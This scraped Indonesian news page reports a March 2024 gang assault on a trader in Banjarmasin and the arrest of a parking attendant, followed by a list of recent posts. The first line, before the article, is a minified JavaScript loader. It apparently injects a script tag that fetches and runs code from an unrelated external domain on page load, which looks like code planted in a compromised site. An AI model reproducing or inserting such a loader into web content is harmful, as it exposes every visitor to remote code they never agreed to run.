(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

Pengeroyokan di Belitung Darat, Seorang Jukir Dibekuk Polisi


KANALKALIMANTAN.COM, BANJARMASIN – Peristiwa pengeroyokan membuat geger warga sekitar Pasar Gang Amal, Jalan Belitung Darat, Kecamatan Banjarmasin Barat, Kota Banjarmasin, Senin (11/3/2024) malam.

Malam pertama bulan Ramadan itu seorang pedagang bernama Baida (50) mengalami luka serius karena dikeroyok oleh empat orang.

Salah satu pelaku adalah AJ (29), seorang juru parkir (jukir) ditangkap tak lama setelah ia ikut melakukan pengeroyokan.

Berdasarkan keterangan Kapolsek Banjarmasin Barat Kompol Arie Munandar melalui Kanit Reskrim Iptu Firuza Bahri, peristiwa pengeroyokan itu dilakukan oleh empat lelaki berinisial AJ, A, Y, dan I sekitar pukul 22.15 Wita.

Berdasarkan keterangan pelapor pada Senin (11/3/2024) malam, Baida yang saat itu berjualan di Jalan Belitung Darat tepatnya di depan Pasar Gang Amal dikeroyok empat orang menggunakan senjata tajam dan tangan kosong.

Baca juga: Balap Liar Depan Balai Kota, Belasan Pot Bunga Hancur Ditabrak

Akibatnya Baida mengalami luka pada bagian tangan dan harus mendapatkan penanganan medis di Rumah Sakit (RS) Suaka Insan Banjarmasin.

Setelah melakukan pengeroyokan, pelaku AJ berhasil diamankan oleh petugas Satreskrim Polresta Banjarmasin. Sementara tiga orang pelaku lainnya A, Y, dan I melarikan diri dan saat ini masih proses pencarian.

Saat penangkapan, polisi menyita barang bukti sebilah parang yang digunakan AJ untuk melukai Baida.

Hasil penyelidikan dan keterangan saksi, motif pengeroyokan dilatarbelakangi masalah uang parkir.

Baca juga: Kediaman Sule Kedatangan Tyas Mirasih, Hanya di “Cari Berkah” BTV!

“Pelaku AJ dan barang bukti tersebut sudah diamankan ke Mapolsek Banjarmasin Barat untuk proses hukum lebih lanjut,” kata Kanit Reskrim.

Juru parkir tersebut kini berhadapan dengan jeratan hukum Pasal 170 ayat (2) Jo Pasal 56 KUHP karena melakukan kekerasan secara bersama-sama. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Risa

Recent Posts

Rumah Penuh Air, Pak RT Mengungsi ke Rumah Tetangga

KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More

5 jam ago

Lonovila Menoreh Surga Tersembunyi di Perbukitan Menoreh

KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More

5 jam ago

Banjir di Komplek Antasari Perdana II Sungaitabuk, Akses Motor Lumpuh Total

KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More

5 jam ago

Bupati Banjar Bagikan Keperluan Warga Terdampak Banjir di Kelurahan Keraton

KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More

8 jam ago

Resmi! UMP Kalimantan Timur 2026 Naik 5,12%, Jadi Rp3,76 Juta

Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More

14 jam ago

Tahun Baru Masalah Lama, Banjir Rendam Pemurus Dalam

KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More

1 hari ago

This website uses cookies.